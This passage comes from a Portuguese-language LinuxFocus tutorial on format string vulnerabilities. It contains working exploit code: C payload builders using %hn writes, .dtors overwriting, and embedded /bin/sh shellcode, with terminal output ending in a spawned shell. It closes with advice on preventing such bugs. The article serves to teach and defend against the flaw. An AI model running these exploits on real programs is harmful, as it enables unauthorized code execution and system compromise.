\"helloWorld\"\n"); fflush(stdout); return 0; } int accessForbidden() { printf("You shouldn't be here \"accesForbidden\"\n"); fflush(stdout); return 0; } </PRE> <P>Nós definimos uma variável chamada <CODE>ptrf</CODE> que é um ponteiro para a função. Alteraremos o valor deste ponteiro para correr a função que escolhemos. </P> <A NAME="191lfindex12"> </A> <H2>Primeiro Exemplo</H2> <P>Primeiro, temos de obter a diferença entre o principio do buffer vulnerável e a nossa posição corrente na pilha:</P> <PRE> >>./vuln "AAAA %x %x %x %x" helloWorld() = 0x8048634 accessForbidden() = 0x8048654 before : ptrf() = 0x8048634 (0xbffff5d4) buffer = [AAAA 21a1cc 8048634 41414141 61313220] (37) after : ptrf() = 0x8048634 (0xbffff5d4) Welcome in "helloWorld" >>./vuln AAAA%3\$x helloWorld() = 0x8048634 accessForbidden() = 0x8048654 before : ptrf() = 0x8048634 (0xbffff5e4) buffer = [AAAA41414141] (12) after : ptrf() = 0x8048634 (0xbffff5e4) Welcome in "helloWorld" </PRE> <P>A primeira chamada aqui dá-nos o que precisamos: 3 palavras (uma palavra = 4 bytes para processadores x86) separa-nos do inicio da variável <CODE>buffer</CODE>. A segunda chamada com <CODE>AAAA%3\$x</CODE> como argumento, confirma isto.</P> <!-- L. Bailey: this is a bit unclear --> <P>O nosso objectivo é agora substituir o valor inicial do ponteiro <CODE>ptrf</CODE> (<CODE>0x8048634</CODE>, o endereço da função <CODE>helloWorld()</CODE>) com o valor <CODE>0x8048654</CODE> (endereço da <CODE>accessForbidden()</CODE>). Temos de escrever <CODE>0x8048654</CODE> bytes (134514260 bytes em decimal, algo como 128Mbytes). Nem todos os computadores podem usufruir de tal memória ... mas o que estamos a usar é capaz :) Demora cerca de 20 segundos num pentium duplo a 350 Mhz:</P> <pre> >>./vuln `printf "\xd4\xf5\xff\xbf%%.134514256x%%"3\$n ` helloWorld() = 0x8048634 accessForbidden() = 0x8048654 before : ptrf() = 0x8048634 (0xbffff5d4) buffer = [Ôõÿ¿000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000000000000000 0000000000000] (127) after : ptrf() = 0x8048654 (0xbffff5d4) You shouldn't be here "accesForbidden" </pre> <P>O que é que nós fizemos? Demos somente o endereço de <CODE>ptrf (0xbffff5d4)</CODE>. A próxima formatação (<CODE>%.134514256x</CODE>) lê as primeiras palavras a partir da pilha com uma precisão de 134514256 (já tínhamos escrito 4 bytes a partir do endereço de <CODE>ptrf</CODE>, então ainda temos de escrever <CODE>134514260-4=134514256</CODE> bytes). por último escrevemos o valor pretendido no endereço dado (<CODE>%3$n</CODE>).</P> <A NAME="191lfindex13"> </A> <H2>Problemas de memória: <EM>dividir e conquistar</EM></H2> <P>Contudo, como o mencionámos, nem sempre é possível utilizar 128 MG em buffers. O formato <CODE>%n</CODE> espera um ponteiro para um inteiro, ou seja quatro bytes. É possível alterar o seu comportamento fazendo-o apontar para um <CODE>short int</CODE> - só 2 bytes - graças à instrução <CODE>%hn</CODE>. Então cortamos o inteiro no qual queremos escrever em duas partes. A parte de escrita maior caberá em <CODE>0xffff</CODE> bytes (65535 bytes). Então no exemplo anterior, transformamos a operação de escrita "<CODE>0x8048654</CODE> no endereço <CODE>0xbffff5d4</CODE>" em duas operações sucessivas: :</P> <UL> <LI>escrevendo <CODE>0x8654</CODE> no endereço <CODE>0xbffff5d4</CODE> </LI> <LI>escrevendo <CODE>0x0804</CODE> no endereço <CODE>0xbffff5d4+2=0xbffff5d6</CODE> </LI> </UL> A segunda operação de escrita toma lugar nos bytes mais altos do inteiro o que explica o swap dos 2 bytes. <P>Contudo, <CODE>%n</CODE> (ou <CODE>%hn</CODE>) conta o número de caracteres escritos para a string. Este número só pode aumentar. Primeiro, temos de escrever o valor ,mais pequeno entre os dois. Depois, a segunda formatação só usará a diferença entre os números necessários e o primeiro número escrito com precisão. Por exemplo, no nosso exemplo, a primeira operação de formatação será de <CODE>%.2052x</CODE> (2052 = 0x0804) e a segunda <CODE>%.32336x</CODE> (32336 = 0x8654 - 0x0804). Cada <CODE>%hn</CODE> colocado logo após a direita gravará a correcta quantidade de bytes.</P> <P>Só temos de especificar onde escrever ambos <CODE>%hn</CODE>. O operador <CODE>m$</CODE> ajudar-nos imenso. Se guardarmos o endereço de inicio do buffer vulnerável, só temos de subir pela pilha para encontrar a distância entre o inicio do buffer e o formato <CODE>m$</CODE>. Então, ambos os endereços estarão a um comprimento de <CODE>m</CODE> e <CODE>m+1</CODE>. Como usamos os primeiros 8 bytes para guardar os endereços para rescrita, o primeiro valor escrito deve ser decrementado por 8.</P> <P>A nossa string de formatação é algo parecido com:</P> <CENTER> <CODE>"[addr][addr+2]%.[val. min. - 8]x%[offset]$hn%.[val. max - val. min.]x%[offset+1]$hn"</CODE> </CENTER> <P>O programa <CODE>build</CODE> utiliza três argumentos para criar uma string de formatação: </P> <OL> <LI>o endereço de rescrita;</LI> <LI>o valor para aí escrever;</LI> <LI>o comprimento (contado como palavras) desde o inicio do buffer vulnerável.</LI> </OL> <PRE> /* build.c */ #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <string.h> /** The 4 bytes where we have to write are placed that way : HH HH LL LL The variables ending with "*h" refer to the high part of the word (H) The variables ending with "*l" refer to the low part of the word (L) */ char* build(unsigned int addr, unsigned int value, unsigned int where) { /* too lazy to evaluate the true length ... :*/ unsigned int length = 128; unsigned int valh; unsigned int vall; unsigned char b0 = (addr >> 24) & 0xff; unsigned char b1 = (addr >> 16) & 0xff; unsigned char b2 = (addr >> 8) & 0xff; unsigned char b3 = (addr ) & 0xff; char *buf; /* detailing the value */ valh = (value >> 16) & 0xffff; //top vall = value & 0xffff; //bottom fprintf(stderr, "adr : %d (%x)\n", addr, addr); fprintf(stderr, "val : %d (%x)\n", value, value); fprintf(stderr, "valh: %d (%.4x)\n", valh, valh); fprintf(stderr, "vall: %d (%.4x)\n", vall, vall); /* buffer allocation */ if ( ! (buf = (char *)malloc(length*sizeof(char))) ) { fprintf(stderr, "Can't allocate buffer (%d)\n", length); exit(EXIT_FAILURE); } memset(buf, 0, length); /* let's build */ if (valh < vall) { snprintf(buf, length, "%c%c%c%c" /* high address */ "%c%c%c%c" /* low address */ "%%.%hdx" /* set the value for the first %hn */ "%%%d$hn" /* the %hn for the high part */ "%%.%hdx" /* set the value for the second %hn */ "%%%d$hn" /* the %hn for the low part */ , b3+2, b2, b1, b0, /* high address */ b3, b2, b1, b0, /* low address */ valh-8, /* set the value for the first %hn */ where, /* the %hn for the high part */ vall-valh, /* set the value for the second %hn */ where+1 /* the %hn for the low part */ ); } else { snprintf(buf, length, "%c%c%c%c" /* high address */ "%c%c%c%c" /* low address */ "%%.%hdx" /* set the value for the first %hn */ "%%%d$hn" /* the %hn for the high part */ "%%.%hdx" /* set the value for the second %hn */ "%%%d$hn" /* the %hn for the low part */ , b3+2, b2, b1, b0, /* high address */ b3, b2, b1, b0, /* low address */ vall-8, /* set the value for the first %hn */ where+1, /* the %hn for the high part */ valh-vall, /* set the value for the second %hn */ where /* the %hn for the low part */ ); } return buf; } int main(int argc, char **argv) { char *buf; if (argc < 3) return EXIT_FAILURE; buf = build(strtoul(argv[1], NULL, 16), /* adresse */ strtoul(argv[2], NULL, 16), /* valeur */ atoi(argv[3])); /* offset */ fprintf(stderr, "[%s] (%d)\n", buf, strlen(buf)); printf("%s", buf); return EXIT_SUCCESS; } </PRE> <P> A posição dos argumentos altera-se consoante se o primeiro valor a ser escrito é a parte mais alta ou baixa da palavra. Verifiquemos o que obtemos agora, sem quaisquer problemas de memória.</P> <P>Primeiro, o nosso simples exemplo, permite-nos advinhar o comprimento:</P> <PRE> >>./vuln AAAA%3\$x argv2 = 0xbffff819 helloWorld() = 0x8048644 accessForbidden() = 0x8048664 before : ptrf() = 0x8048644 (0xbffff5d4) buffer = [AAAA41414141] (12) after : ptrf() = 0x8048644 (0xbffff5d4) Welcome in "helloWorld" </PRE> <P>É sempre o mesmo: 3. Visto que o nosso programa é feito para explorar o que acontece, nós já temos toda a outra informação que precisamos: Os endereços <CODE>ptrf</CODE> e <CODE>accesForbidden()</CODE>. Construímos o nosso buffer segundo isto:</P> <pre> >>./vuln `./build 0xbffff5d4 0x8048664 3` adr : -1073744428 (bffff5d4) val : 134514276 (8048664) valh: 2052 (0804) vall: 34404 (8664) [Öõÿ¿Ôõÿ¿%.2044x%3$hn%.32352x%4$hn] (33) argv2 = 0xbffff819 helloWorld() = 0x8048644 accessForbidden() = 0x8048664 before : ptrf() = 0x8048644 (0xbffff5b4) buffer = [Öõÿ¿Ôõÿ¿00000000000000000000d000000000000000000000 000000000000000000000000000000000000000000000000000000000000000000 00000000] (127) after : ptrf() = 0x8048644 (0xbffff5b4) Welcome in "helloWorld" </pre> Nada acontece ! De facto, vimos que usámos um buffer grande no exemplo anterior da formatação da string, a pilha alterou-se. O <CODE>ptrf</CODE> foi de <CODE>0xbffff5d4</CODE> para <CODE>0xbffff5b4</CODE>). Os nossos valores precisam de ser ajustados: <pre> >>./vuln `./build 0xbffff5b4 0x8048664 3` adr : -1073744460 (bffff5b4) val : 134514276 (8048664) valh: 2052 (0804) vall: 34404 (8664) [¶õÿ¿´õÿ¿%.2044x%3$hn%.32352x%4$hn] (33) argv2 = 0xbffff819 helloWorld() = 0x8048644 accessForbidden() = 0x8048664 before : ptrf() = 0x8048644 (0xbffff5b4) buffer = [¶õÿ¿´õÿ¿0000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000 0000000000000000] (127) after : ptrf() = 0x8048664 (0xbffff5b4) You shouldn't be here "accesForbidden" </pre> Ganhámos!!! <A NAME="191lfindex14"> </A> <H2>Outras Explorações</H2> Neste artigo, começamos por provar que os bugs de formatação são uma vulnerabilidade real. Uma outra preocupação é como explorá-los. A exploração do excedimento do buffer (overflow) assenta na escrita do endereço de retorno de uma função. Depois tem de tentar à sorte e rezar imenso para que as suas scripts encontrem os valores correctos (mesmo que a eggshell esteja preenchida de NOP's). Não precisa disto tudo para os bugs de formatação e não fica mais restringido à sobreposição do endereço de retorno. <P>Vimos que os bugs de formatação permitem-nos escrever em qualquer lado. Então, veremos agora uma explicação baseada na secção <CODE>.dtors</CODE></P> <P>Quando um programa é compilado com o <CODE>gcc</CODE>, pode encontrar uma secção de construção (chamada <CODE>.ctors</CODE>) e um destrutor (chamado <CODE>.dtors</CODE>). Cada uma destas secções contêm ponteiros para as funções a serem carregadas antes de função <CODE>main()</CODE> e depois sair, respectivamente.</P> <PRE> /* cdtors */ void start(void) __attribute__ ((constructor)); void end(void) __attribute__ ((destructor)); int main() { printf("in main()\n"); } void start(void) { printf("in start()\n"); } void end(void) { printf("in end()\n"); } </PRE> O nosso programa mostra esse mecanismo: <PRE> >>gcc cdtors.c -o cdtors >>./cdtors in start() in main() in end() </PRE> Cada uma destas secções é construída do mesmo modo: <PRE> >>objdump -s -j .ctors cdtors cdtors: file format elf32-i386 Contents of section .ctors: 804949c ffffffff dc830408 00000000 ............ >>objdump -s -j .dtors cdtors cdtors: file format elf32-i386 Contents of section .dtors: 80494a8 ffffffff f0830408 00000000 ............ </PRE> Verificamos que os endereços indicados são iguais aos nossas funções (atenção: o comando precedente <CODE>objdump</CODE> dá-nos os endereços no formato little endian): <PRE> >>objdump -t cdtors | egrep "start|end" 080483dc g F .text 00000012 start 080483f0 g F .text 00000012 end </PRE> Então, estas secções contêm os endereços das funções que correm no principio (ou no fim), "encaixados" com <CODE>0xffffffff</CODE> e <CODE>0x00000000</CODE>. <P>Apliquemos isto ao <CODE>vuln</CODE> usando a formatação de string. Primeiro temos de ter a localização na memória destas secções o que é realmente fácil quando temos o binário à mão ;-) Utilize simplesmente o <CODE>objdump</CODE> como fizemos previamente:</P> <PRE> >> objdump -s -j .dtors vuln vuln: file format elf32-i386 Contents of section .dtors: 8049844 ffffffff 00000000 ........ </PRE> Aqui está ! Temos tudo o que precisamos agora. <P>O objectivo da exploração é substituir o endereço de uma função destas secções pelo de uma função que queremos executar. Se as secções estão vazias, só se tem de sobrepor o endereço <CODE>0x00000000</CODE> que indica o fim da secção. Isto dará uma <CODE>segmentation fault</CODE> pois o programa não encontrará este endereço <CODE>0x00000000</CODE>, e tomará como próximo valor o endereço de uma função o que provavelmente não é verdade. </P> <P>De facto, a única secção de interesse é a secção do destrutor (<CODE>.dtors</CODE>): não temos tempo de fazer alguma coisa antes da secção do construtor (<CODE>.ctors</CODE>). Geralmente, é suficiente sobrepor o endereço em 4 bytes após o inicio da secção (o <CODE>0xffffffff</CODE>):</P> <UL> <LI>se não existe nenhum endereço aqui, sobrepomos o <CODE>0x00000000</CODE>;</LI> <LI>caso contrário, a primeira função a ser executada será a nossa.</LI> </UL> <P>Voltemos ao nosso exemplo. Substituímos o <CODE>0x00000000</CODE> na secção <CODE>.dtors</CODE>, residente em <CODE>0x8049848=0x8049844+4</CODE>, com o endereço da função <CODE>accesForbidden()</CODE>, já conhecido (<CODE>0x8048664</CODE>):</P> <pre> >./vuln `./build 0x8049848 0x8048664 3` adr : 134518856 (8049848) val : 134514276 (8048664) valh: 2052 (0804) vall: 34404 (8664) [JH%.2044x%3$hn%.32352x%4$hn] (33) argv2 = bffff694 (0xbffff51c) helloWorld() = 0x8048648 accessForbidden() = 0x8048664 before : ptrf() = 0x8048648 (0xbffff434) buffer = [JH0000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000 000] (127) after : ptrf() = 0x8048648 (0xbffff434) Welcome in "helloWorld" You shouldn't be here "accesForbidden" Segmentation fault (core dumped) </pre> Tudo corre bem, o <CODE>main()</CODE>, o <CODE>helloWorld()</CODE> e depois sai. O destrutor é logo chamado. A secção <CODE>.dtors</CODE> é iniciada com o endereço de <CODE>accesForbidden()</CODE>. Depois visto que não existe num endereço real de uma função, o esperado coredump ("cadáver") acontece. <A NAME="191lfindex15"> </A> <H2>Por favor, Dêem-me a linha de comandos</H2> <P>Vimos pequenas explorações aqui. Usando o mesmo principio, podemos obter uma linha de comandos, quer passando o código da shell através do <CODE>argv[]</CODE> ou através de uma variável de ambiente ao programa vulnerável. Só temos de definir o endereço correcto (por exemplo: o endereço da eggshell) na secção <CODE>.dtors</CODE>.</P> <P>Até agora, sabemos:</P> <UL> <LI>Como explorar a pilha com limites razoáveis (de facto, teoricamente, não existe limite, mas torna-se doloroso ou até mesmo demoroso recuperar as palavras na pilha uma a uma);</LI> <LI>como escrever o valor esperado para o endereço correcto.</LI> </UL> <P>Contudo, na realidade, o programa vulnerável não é tão simpático com o exemplo anterior. Introduziremos um método que nos permitirá pôr o código da shell na memória e devolver o seu endereço <B>exacto</B> (o que significa que não é adicionado mais nenhum NOP ao principio do código da shell).</P> <P>A ideia baseia-se em chamadas recursivas à função <CODE>exec*()</CODE>:</P> <PRE> /* argv.c */ #include <stdio.h> #include <stdlib.h> #include <unistd.h> main(int argc, char **argv) { char **env; char **arg; int nb = atoi(argv[1]), i; env = (char **) malloc(sizeof(char *)); env[0] = 0; arg = (char **) malloc(sizeof(char *) * nb); arg[0] = argv[0]; arg[1] = (char *) malloc(5); snprintf(arg[1], 5, "%d", nb-1); arg[2] = 0; /* printings */ printf("*** argv %d ***\n", nb); printf("argv = %p\n", argv); printf("arg = %p\n", arg); for (i = 0; i<argc; i++) { printf("argv[%d] = %p (%p)\n", i, argv[i], &argv[i]); printf("arg[%d] = %p (%p)\n", i, arg[i], &arg[i]); } printf("\n"); /* recall */ if (nb == 0) exit(0); execve(argv[0], arg, env); } </PRE> A entrada é um inteiro <CODE>nb</CODE> o qual o programa chamará recursivamente a si próprio <CODE>nb+1</CODE> vezes: <PRE> >>./argv 2 *** argv 2 *** argv = 0xbffff6b4 arg = 0x8049828 argv[0] = 0xbffff80b (0xbffff6b4) arg[0] = 0xbffff80b (0x8049828) argv[1] = 0xbffff812 (0xbffff6b8) arg[1] = 0x8049838 (0x804982c) *** argv 1 *** argv = 0xbfffff44 arg = 0x8049828 argv[0] = 0xbfffffec (0xbfffff44) arg[0] = 0xbfffffec (0x8049828) argv[1] = 0xbffffff3 (0xbfffff48) arg[1] = 0x8049838 (0x804982c) *** argv 0 *** argv = 0xbfffff44 arg = 0x8049828 argv[0] = 0xbfffffec (0xbfffff44) arg[0] = 0xbfffffec (0x8049828) argv[1] = 0xbffffff3 (0xbfffff48) arg[1] = 0x8049838 (0x804982c) </PRE> <P>Verificamos imediatamente que os endereços alocados para o <CODE>arg</CODE> e <CODE>argv</CODE> não se alteram mais após a segunda chamada. Vamos utilizar esta propriedade na nossa exploração. Só temos de modificar ligeiramente o nosso programa <CODE>build</CODE> de maneira a que se chame a si próprio antes de chamar o <CODE>vuln</CODE>. Então, obtemos o endereço exacto de <CODE>argv</CODE> e o do nosso código da shell.:</P> <PRE> /* build2.c */ #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <string.h> char* build(unsigned int addr, unsigned int value, unsigned int where) { //Same function as in build.c } int main(int argc, char **argv) { char *buf; char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; if(argc < 3) return EXIT_FAILURE; if (argc == 3) { fprintf(stderr, "Calling %s ...\n", argv[0]); buf = build(strtoul(argv[1], NULL, 16), /* adresse */ &shellcode, atoi(argv[2])); /* offset */ fprintf(stderr, "[%s] (%d)\n", buf, strlen(buf)); execlp(argv[0], argv[0], buf, &shellcode, argv[1], argv[2], NULL); } else { fprintf(stderr, "Calling ./vuln ...\n"); fprintf(stderr, "sc = %p\n", argv[2]); buf = build(strtoul(argv[3], NULL, 16), /* adresse */ argv[2], atoi(argv[4])); /* offset */ fprintf(stderr, "[%s] (%d)\n", buf, strlen(buf)); execlp("./vuln","./vuln", buf, argv[2], argv[3], argv[4], NULL); } return EXIT_SUCCESS; } </PRE> <P>O truque é que nós sabemos o que chamar segundo o número de argumentos que o programa recebeu. Para iniciar a nossa exploração, damos somente ao <CODE>build2</CODE> o endereço para o qual queremos escrever e o comprimento. Já não temos de dar mais o valor visto que é avaliado nas chamadas sucessivas.</P> <P>Para termos sucesso, precisamos de montar a mesma estrutura da memória nas diferentes chamadas do <CODE>build2</CODE> e depois do <CODE>vuln</CODE> (é por isso que chamamos a função <CODE>build()</CODE>, no sentido de utilizar a mesma impressão digital da memória):</P> <pre> >>./build2 0xbffff634 3 Calling ./build2 ... adr : -1073744332 (bffff634) val : -1073744172 (bffff6d4) valh: 49151 (bfff) vall: 63188 (f6d4) [6öÿ¿4öÿ¿%.49143x%3$hn%.14037x%4$hn] (34) Calling ./vuln ... sc = 0xbffff88f adr : -1073744332 (bffff634) val : -1073743729 (bffff88f) valh: 49151 (bfff) vall: 63631 (f88f) [6öÿ¿4öÿ¿%.49143x%3$hn%.14480x%4$hn] (34) 0 0xbffff867 1 0xbffff86e 2 0xbffff891 3 0xbffff8bf 4 0xbffff8ca helloWorld() = 0x80486c4 accessForbidden() = 0x80486e8 before : ptrf() = 0x80486c4 (0xbffff634) buffer = [6öÿ¿4öÿ¿000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000000 00000000000] (127) after : ptrf() = 0xbffff88f (0xbffff634) Segmentation fault (core dumped) </pre> <P>Porque é que isto não trabalha? Dissemos que tínhamos de construir a cópia exacta da memória entre as duas chamadas ... e não o fizemos! O <CODE>argv[0]</CODE> (o nome do programa) alterou-se. O nosso programa é primeiro chamado <CODE>build2</CODE> (6 bytes) e depois o <CODE>vuln</CODE> (4 bytes). Existe uma diferença de 2 bytes, o que é exactamente o valor que pode reparar no exemplo acima. O endereço do código da shell durante a segunda chamada do <CODE>build2</CODE> é dado por <CODE>sc=0xbffff88f</CODE> mas o conteúdo do <CODE>argv[2]</CODE> no <CODE>vuln</CODE> dá <CODE>20xbffff891</CODE>: os nossos 2 bytes. Para resolver isto, basta renomear o nosso <CODE>build2</CODE> para somente 4 letras, por exemplo <CODE>bui2</CODE>:</P> <pre> >>cp build2 bui2 >>./bui2 0xbffff634 3 Calling ./bui2 ... adr : -1073744332 (bffff634) val : -1073744156 (bffff6e4) valh: 49151 (bfff) vall: 63204 (f6e4) [6öÿ¿4öÿ¿%.49143x%3$hn%.14053x%4$hn] (34) Calling ./vuln ... sc = 0xbffff891 adr : -1073744332 (bffff634) val : -1073743727 (bffff891) valh: 49151 (bfff) vall: 63633 (f891) [6öÿ¿4öÿ¿%.49143x%3$hn%.14482x%4$hn] (34) 0 0xbffff867 1 0xbffff86e 2 0xbffff891 3 0xbffff8bf 4 0xbffff8ca helloWorld() = 0x80486c4 accessForbidden() = 0x80486e8 before : ptrf() = 0x80486c4 (0xbffff634) buffer = [6öÿ¿4öÿ¿0000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000 000000000000000] (127) after : ptrf() = 0xbffff891 (0xbffff634) bash$ <br> </pre> <P>Ganhámos Novamente : Trabalha muito melhor deste modo ;-) O eggshell está na pilha e alterámos o endereço apontado por <CODE>ptrf</CODE> para o novo código da shell. Claro, que só pode acontecer se a pilha for executável.</P> <P>Mas vimos que a formatação de strings permitem-nos escrever em qualquer sítio: adicionemos um destruidor ao nosso programa na secção <CODE>.dtors</CODE>:</P> <pre> >>objdump -s -j .dtors vuln vuln: file format elf32-i386 Contents of section .dtors: 80498c0 ffffffff 00000000 ........ >>./bui2 80498c4 3 Calling ./bui2 ... adr : 134518980 (80498c4) val : -1073744156 (bffff6e4) valh: 49151 (bfff) vall: 63204 (f6e4) [ÆÄ%.49143x%3$hn%.14053x%4$hn] (34) Calling ./vuln ... sc = 0xbffff894 adr : 134518980 (80498c4) val : -1073743724 (bffff894) valh: 49151 (bfff) vall: 63636 (f894) [ÆÄ%.49143x%3$hn%.14485x%4$hn] (34) 0 0xbffff86a 1 0xbffff871 2 0xbffff894 3 0xbffff8c2 4 0xbffff8ca helloWorld() = 0x80486c4 accessForbidden() = 0x80486e8 before : ptrf() = 0x80486c4 (0xbffff634) buffer = [ÆÄ000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000 0000000000000000] (127) after : ptrf() = 0x80486c4 (0xbffff634) Welcome in "helloWorld" bash$ exit exit >> </pre> <P>Aqui, não é criado nenhum <CODE>coredump</CODE> ao sair do destruidor. Isto deve-se ao facto do código da shell conter uma chamada <CODE>exit(0)</CODE>.</P> <P>Em conclusão, como último presente, aqui está o <CODE>build3.c</CODE> que também dá a shell, mas passado de uma variável de ambiente:</P> <PRE> /* build3.c */ #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <string.h> char* build(unsigned int addr, unsigned int value, unsigned int where) { //Même fonction que dans build.c } int main(int argc, char **argv) { char **env; char **arg; unsigned char *buf; unsigned char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; if (argc == 3) { fprintf(stderr, "Calling %s ...\n", argv[0]); buf = build(strtoul(argv[1], NULL, 16), /* adresse */ &shellcode, atoi(argv[2])); /* offset */ fprintf(stderr, "%d\n", strlen(buf)); fprintf(stderr, "[%s] (%d)\n", buf, strlen(buf)); printf("%s", buf); arg = (char **) malloc(sizeof(char *) * 3); arg[0]=argv[0]; arg[1]=buf; arg[2]=NULL; env = (char **) malloc(sizeof(char *) * 4); env[0]=&shellcode; env[1]=argv[1]; env[2]=argv[2]; env[3]=NULL; execve(argv[0],arg,env); } else if(argc==2) { fprintf(stderr, "Calling ./vuln ...\n"); fprintf(stderr, "sc = %p\n", environ[0]); buf = build(strtoul(environ[1], NULL, 16), /* adresse */ environ[0], atoi(environ[2])); /* offset */ fprintf(stderr, "%d\n", strlen(buf)); fprintf(stderr, "[%s] (%d)\n", buf, strlen(buf)); printf("%s", buf); arg = (char **) malloc(sizeof(char *) * 3); arg[0]=argv[0]; arg[1]=buf; arg[2]=NULL; execve("./vuln",arg,environ); } return 0; } </PRE> <P>Mais uma vez, visto que este ambiente está na pilha, precisamos de ter cuidado para não modificar a memória (por exemplo alternando a posição das variáveis e dos argumentos) O nome binário deve ter o mesmo número de caracteres que o nome do programa vulnerável <CODE>vuln</CODE> tem.</P> <P>Aqui, escolhemos utilizar a variável <CODE>extern char **environ</CODE> para definir os valores que precisamos:</P> <OL> <LI><CODE>environ[0]</CODE>: contém o código da shell;</LI> <LI><CODE>environ[1]</CODE>: contém o endereço onde esperamos escrever;</LI> <LI><CODE>environ[2]</CODE>: contém o comprimento.</LI> </OL> Deixamo-lo, a jogar com ... este (longo) artigo já muito preenchido com muito código e programas de teste. <A NAME="191lfindex16"> </A> <H2>Conclusão : Como evitar bugs de formatação ?</H2> Como mostrado no artigo, o principal problema com este bug provém da liberdade dada ao utilizador para construir a sua própria string de formatação. A solução para evitar tal falha é simples: <FONT color="#ff0000"> Nunca deixe um utilizador fornecer a seu própria string de formatação</FONT>! Muitas vezes isto simplesmente significa inserir uma string <CODE>"%s"</CODE> quando funções como o <CODE>printf()</CODE>, o <CODE>syslog()</CODE>, ..., são chamadas. Se realmente não conseguir evitar isto, então tem de verificar cuidadosamente todas as entradas dadas pelo utilizador muito cuidadosamente. <HR> <A NAME="191lfindex17"> </A> <H2>Agradecimentos</H2> Os autores agradecem a Pascal <EM>Kalou</EM> Bouchareine pela sua paciência (ele teve de encontrar porque é que a nossa exploração com o código da shell na pilha não funcionava ... e também o porquê desta mesma pilha não estar executável), suas ideias (mais particularmente pelo truque <CODE>exec*()</CODE>), pelos seus encorajamentos ... mas também pelo seu artigo acerca de bugs de formatação o qual causou, em adição ao nosso interesse na questão, uma intensa agitação cerebral ;-) <P></P> <A NAME="191lfindex18"> </A> <H2>Links</H2> <UL> <LI><EM>Bugs de Formatação: O que são, Donde vieram, como explorá-los a partir de lamagra <A href= "http://lamagra.sekure.de/">lamagra.sekure.de</A></LI> <LI><EM>Vulnerabilidade da formatação de strings </EM> de P. Bouchareine: <A href="http://www.hert.org">www.hert.org</A></LI> <LI><EM>Ataques de Formatação de String</EM> de Tim Newsham: <A href= "http://www.guardent.com">http://www.guardent.com</A></LI> <LI><EM>w00w00 on Heap Overflows</EM> deMatt Conover (a.k.a. Shok) & w00w00 Security Team: <A href= "http://www.w00w00.org">http://www.w00w00.org</A></LI> <LI><EM>Sobrepondo a secção .dtors </EM> de Juan M. Bello Rivas (a.k.a. rwxrwxrwx): <A href= "http://synnergy.net">http://synnergy.net</A></LI> </UL> <HR> <H4>Notas de Rodapé</H4> <DL> <DT><A name="foot1"></A>... commands<A name="foot1" href= "#foot1"></A><SUP><A href="#foot1" name="foot1">1</A></SUP></DT> <DD>a palavra <EM>command</EM> significa aqui tudo o que afecta a formatação de strings: o tamanho, a precisão, ... </DD> </DL> <DL> <DT><A name="foot2"></A>... bytes<A name="foot2" href= "#foot2"></A><SUP><A href="#foot2" name="foot2">2</A></SUP></DT> <DD>o -1 provém do último caracter reservado para o '\0'.</DD> </DL> <HR> <!-- 2pdaIgnoreStart --> <A NAME="talkback"> </a> <h2>Forma de respostas para este artigo</h2> Todo artigo tem sua própria página de respostas. Nesta página você pode enviar um comentário ou ver os comentários de outros leitores: <center> <table border="0" CELLSPACING="2" CELLPADDING="1"> <tr BGCOLOR="#C2C2C2"><td align=center> <table border="3" CELLSPACING="2" CELLPADDING="1"> <tr BGCOLOR="#C2C2C2"><td align=center> <A href="http://cgi.linuxfocus.org/cgi-bin/lftalkback?anum=191&lang=pt"><b> página de respostas </b></a> </td></tr></table> </td></tr></table> </center> <HR size="2" noshade> <!-- ARTICLE FOOT --> <CENTER><TABLE WIDTH="95%"> <TR><TD ALIGN=CENTER BGCOLOR="#9999AA"> <A HREF="../../common/lfteam.html">Páginas Web mantidas pelo time de Editores LinuxFocus</A> <BR><FONT COLOR="#FFFFFF">© Frédéric Raynal, Christophe Blaess, Christophe Grenier, <a href="../../common/copy.html">FDL</a> <BR><a href="http://www.linuxfocus.org">LinuxFocus.org</a></FONT> <BR><a href="http://cgi.linuxfocus.org/cgi-bin/lfcomment?lang=pt&article=article191.shtml" target="_TOP">Clique aqui para reportar uma falha ou para enviar um comentário para LinuxFocus</A><BR></TD> <TD BGCOLOR="#9999AA"><!-- TRANSLATION INFO --> <font size=2>Informação sobre tradução:</font><TABLE> <tr><td><font size=2>fr</font></td> <td><font size=2>-></font></td> <td><font size=2>--</font></td> <td><font size=2><a href="mailto:pappy@users.sourceforge.net,ccb@club-internet.fr,grenier@nef.esiea.fr"><FONT COLOR="#FFFFFF">Frédéric Raynal, Christophe Blaess, Christophe Grenier</FONT></a></font></td> </tr> <tr><td><font size=2>fr</font></td> <td><font size=2>-></font></td> <td><font size=2>en</font></td> <td><font size=2><a href="mailto:pappy@users.sourceforge.net"><FONT COLOR="#FFFFFF">Frédéric</FONT></a></font></td> </tr> <tr><td><font size=2>en</font></td> <td><font size=2>-></font></td> <td><font size=2>en</font></td> <td><font size=2><a href="mailto:sherm_pbody@yahoo.com"><FONT COLOR="#FFFFFF">Lorne Bailey</FONT></a></font></td> </tr> <tr><td><font size=2>en</font></td> <td><font size=2>-></font></td> <td><font size=2>pt</font></td> <td><font size=2><a href="mailto:bruno@linuxfocus.org"><FONT COLOR="#FFFFFF">Bruno Sousa</FONT></a></font></td> </tr> </TABLE></TD> </TR></TABLE></CENTER> <p><font size=1>2001-09-28, generated by lfparser version 2.17</font></p> <!-- 2pdaIgnoreStop --> </BODY> </HTML>